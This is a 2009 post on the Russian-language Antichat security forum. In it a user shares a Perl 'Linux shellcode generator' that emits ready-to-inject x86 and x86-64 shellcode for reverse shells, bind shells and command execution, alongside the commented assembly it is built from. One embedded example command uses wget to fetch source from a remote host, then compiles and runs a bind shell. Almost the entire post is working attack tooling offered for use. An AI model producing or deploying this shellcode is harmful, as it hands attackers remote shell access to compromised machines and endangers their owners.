ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 15.03.2009, 14:59
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

Linux shellcode generator

Код:
#!/usr/bin/perl
# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]
# contact: xzid420[at]gmail.com
use strict;
use warnings;
use Getopt::Long;

my $comment=q{
-------------------------
    reverse shell x86
-------------------------
  xor %edx,%edx
  push $0x06
  push $0x01
  push $0x02
  mov %esp,%ecx
  push $0x66
  pop %eax
  push $0x01
  pop %ebx
  int $0x80
  movb $0x02,(%esp)
  movw $0xbc01,2(%esp)        # htons(444);
  movl $0xa0a0a0a,4(%esp)     # inet_addr("10.10.10.10");
  mov %esp,%ecx
  push $0x10
  push %ecx
  push %eax
  mov %esp,%ecx
  push %eax
  mov %esp,%ebp
  push $0x66
  pop %eax
  push $0x03
  pop %ebx
  int $0x80
  mov %ebp,%esp
  pop %ebx
  push $0x03
  pop %ecx

dup2loop:
  dec %ecx
  push $63
  pop %eax
  int $0x80
  jnz dup2loop

  push %edx
  push $0x68732f6e  # hs/n
  push $0x69622f2f  # ib//
  mov %esp,%ebx
  xor %ecx,%ecx
  push $0x0b
  pop %eax
  int $0x80
-------------------------
   reverse shell x86-64
-------------------------
  xorq %rdx,%rdx
  pushq $0x29
  pop %rax
  push $0x01
  pop %rsi
  push $0x02
  pop %rdi
  syscall

  xchgq %rax,%rdi
  movb $0x02,(%rsp)
  movw $0x6007,2(%rsp)         #; htons(1087);
  movl $0xa0a0a0a,4(%rsp)      #; inet_addr("10.10.10.10");
  movq %rsp,%rsi
  push $0x10
  pop %rdx
  push $0x2a
  pop %rax
  syscall
  push $0x03
  pop %rsi

dup2loop:
  dec %rsi
  push $33
  pop %rax
  syscall
  jnz dup2loop

  xorq %rdx,%rdx
  movq $0x68732f6e69622f2f,%rbx
  shr $0x8,%rbx
  pushq %rbx
  movq %rsp,%rdi
  pushq %rdx
  pushq %rdi
  movq %rsp,%rsi
  push $59
  pop %rax
  syscall
-------------------------
     bind shell x86
-------------------------
  xor %edx,%edx
  push $0x06
  push $0x01
  push $0x02
  mov %esp,%ecx
  push $0x66
  pop %eax
  push $0x01
  pop %ebx
  int $0x80

  mov %eax,%edi
  movb $0x02,(%esp)
  movw $0xbc01,2(%esp)        # htons(444)
  movl %edx,4(%esp)           # 0[INADDR_ANY]
  mov %esp,%ecx
  push $0x10
  push %ecx
  push %eax
  mov %esp,%ecx
  push %eax
  mov %esp,%ebp
  push $0x66
  pop %eax
  push $0x02
  pop %ebx
  int $0x80

  push $0x05
  push %edi
  mov %esp,%ecx
  push $0x66
  pop %eax
  push $0x04
  pop %ebx
  int $0x80

  push %edx
  push %edx
  push %edi
  mov %esp,%ecx
  push $0x05
  pop %ebx
  push $0x66
  pop %eax
  int $0x80
  xchg %ebx,%eax
  push $0x03
  pop %ecx

dup2loop:
  dec %ecx
  push $63
  pop %eax
  int $0x80
  jnz dup2loop

  push %edx
  push $0x68732f6e  # hs/n
  push $0x69622f2f  # ib//
  mov %esp,%ebx
  xor %ecx,%ecx
  push $0x0b
  pop %eax
  int $0x80
-------------------------
    bind shell x86-64
-------------------------
  xorq %rdx,%rdx
  pushq $0x29
  pop %rax
  push $0x01
  pop %rsi
  push $0x02
  pop %rdi
  syscall

  xchgq %rax,%rdi
  xorq %rax,%rax
  movb $0x02,(%rsp)
  movw $0x6007,2(%rsp)         #; htons(1087);
  movl %eax,4(%rsp)            #; 0[INADDR_ANY]
  movq %rsp,%rsi
  push $0x10
  pop %rdx
  push $49
  pop %rax
  syscall

  push $0x01
  pop %rsi
  push $50
  pop %rax
  syscall

  xorq %rsi,%rsi
  xorq %rdx,%rdx
  push $43
  pop %rax
  syscall

  xchgq %rax,%rdi
  push $0x03
  pop %rsi

dup2loop:
  dec %rsi
  push $33
  pop %rax
  syscall
  jnz dup2loop

  xorq %rdx,%rdx
  movq $0x68732f6e69622f2f,%rbx
  shr $0x8,%rbx
  pushq %rbx
  movq %rsp,%rdi
  pushq %rdx
  pushq %rdi
  movq %rsp,%rsi
  push $59
  pop %rax
  syscall
-------------------------
     execute cmd x86
-------------------------
  jmp cmd

shellcode:
  pop %ecx
  xor %edx,%edx
  push %edx
  push $0x68732f6e    # hs/n
  push $0x69622f2f    # ib//
  mov %esp,%ebx
  movw $0x632d,%ax
  push %edx
  push %ax
  mov %esp,%eax
  push %edx
  push %ecx
  push %eax
  push %ebx
  mov %esp,%ecx
  push $0x0b
  pop %eax
  int $0x80
  push $0x01
  pop %eax
  xor %ebx,%ebx
  int $0x80

cmd:
  call shellcode
  .ascii "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
   execute cmd x86-64
-------------------------
  jmp cmd

shellcode:
  pop %rcx
  xorq %rdx,%rdx
  movq $0x68732f6e69622f2f,%rbx  # hs/nib//
  shr $0x8,%rbx
  push %rbx
  movq %rsp,%rdi
  movw $0x632d,%ax
  pushq %rdx
  pushq %ax
  movq %rsp,%rax
  pushq %rdx
  pushq %rcx
  pushq %rax
  pushq %rdi
  movq %rsp,%rsi
  xorq %rax,%rax
  movb $0x3b,%al
  syscall
  push $0x3c
  pop %rax
  xorq %rdi,%rdi
  syscall

cmd:
  call shellcode
  .string "wget -q -O shell.c http://remote/file.c;gcc -o bind shell.c;./bind"
-------------------------
};

my($host,$port,$cmd,$amd64,$shellcode);

GetOptions("host=s" => \$host,
           "port=i" => \$port,
           "cmd=s"  => \$cmd,
           "64"     => \$amd64);

if($host and $port)
  {
  if($amd64)
    {
    # x86-64 reverse shell
    $shellcode=
   '\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\xc6\x04\x24\x02\x66'.
   '\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x48\x89\xe6\x6a\x10'.
   '\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31'.
   '\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57'.
   '\x48\x89\xe6\x6a\x3b\x58\x0f\x05';
    print "linux/x86-64 reverse shell\n\n";
    }
  else
    {
    # x86 reverse shell
    $shellcode=
   '\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\xc6\x04\x24'.
   '\x02\x66\xc7\x44\x24\x02'.sport($port).'\xc7\x44\x24\x04'.saddr($host).'\x89\xe1\x6a'.
   '\x10\x51\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x89\xec\x5b\x6a\x03'.
   '\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89'.
   '\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
    print "linux/x86 reverse shell\n\n";
    }
  print "host: $host\n",
   "port: $port\n";
  }
elsif($port)
  {
  if($amd64)
    {
    # x86-64 bind shell
    $shellcode=
   '\x48\x31\xd2\x6a\x29\x58\x6a\x01\x5e\x6a\x02\x5f\x0f\x05\x48\x97\x48\x31\xc0\xc6\x04'.
   '\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x44\x24\x04\x48\x89\xe6\x6a\x10\x5a'.
   '\x6a\x31\x58\x0f\x05\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x31\xf6\x48\x31\xd2\x6a\x2b'.
   '\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xd2'.
   '\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48'.
   '\x89\xe6\x6a\x3b\x58\x0f\x05';
    print "linux/x86-64 bind shell\n\n";
    }
  else
    {
    # x86 bind shell
    $shellcode=
   '\x31\xd2\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x6a\x66\x58\x6a\x01\x5b\xcd\x80\x89\xc7\xc6'.
   '\x04\x24\x02\x66\xc7\x44\x24\x02'.sport($port).'\x89\x54\x24\x04\x89\xe1\x6a\x10\x51'.
   '\x50\x89\xe1\x50\x89\xe5\x6a\x66\x58\x6a\x02\x5b\xcd\x80\x6a\x05\x57\x89\xe1\x6a\x66'.
   '\x58\x6a\x04\x5b\xcd\x80\x52\x52\x57\x89\xe1\x6a\x05\x5b\x6a\x66\x58\xcd\x80\x93\x6a'.
   '\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69'.
   '\x89\xe3\x31\xc9\x6a\x0b\x58\xcd\x80';
    print "linux/x86 bind shell\n\n";
    }
  print "port: $port\n";
  }
elsif($cmd)
  {
  if($amd64)
    {
    # x86-64 execute cmd
    $shellcode=
   '\xeb\x35\x59\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53'.
   '\x48\x89\xe7\x66\xb8\x2d\x63\x52\x50\x48\x89\xe0\x52\x51\x50\x57\x48\x89\xe6\x48\x31'.
   '\xc0\xb0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xc6\xff\xff\xff'.cmd($cmd);
    print "linux/x86-64 execute cmd\n\n";
    }
  else
    {
    # x86 execute cmd
    $shellcode=
   '\xeb\x2b\x59\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x66\xb8\x2d'.
   '\x63\x52\x66\x50\x89\xe0\x52\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80\x6a\x01\x58\x31'.
   '\xdb\xcd\x80\xe8\xd0\xff\xff\xff'.cmd($cmd);
    print "linux/x86 execute cmd\n\n";
    }
  print "cmd: $cmd\n";
  }
else
  {
  print "# linux shellcode generator [x86,x86-64][reverse shell, bind shell, execute cmd]\n\n",
   "reverse:\n",
   "  $0 --host <host> --port <port>\n\n",
   "bind:\n",
   "  $0 --port <port>\n\n",
   "cmd:\n",
   "  $0 --cmd <cmd>\n\n",
   "args:\n",
   "  --64            x86-64, default x86\n";
  exit;
  }

print "shellcode length: ",shellcode_length($shellcode)," bytes\n\n",
      "-------------------------\n",
      $shellcode,
      "\n-------------------------\n";

sub shellcode_length
  {
  my $scode=shift||return 0;
  my  @p=split('x',$scode);
  return $#p;
  }

sub cmd
  {
  my $c=shift;
  $c=~s/(.)/sprintf("\\x%02x",ord($1))/eg;
  return $c;
  }

sub saddr
  {
  my $host=shift;
  my $s=gethostbyname($host) or die "error: host lookup failed\n";
  my  @sp=unpack('C4',$s);
  my $ret="";
  for(< @sp>) {$ret.=sprintf("\\x%.2x",$_);}
  print ">> warning: host \"$host\" contains a null byte\n-----------\n" if($ret=~/00/);
  return $ret;
  }

sub sport
  {
  my $port=shift;
  die "port range: 300-20000\n" if($port<300||$port>20000);
  $port=sprintf("%.4x",$port);
  $port=~s/(.{2})/\\x$1/g;
  return $port;
  }
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ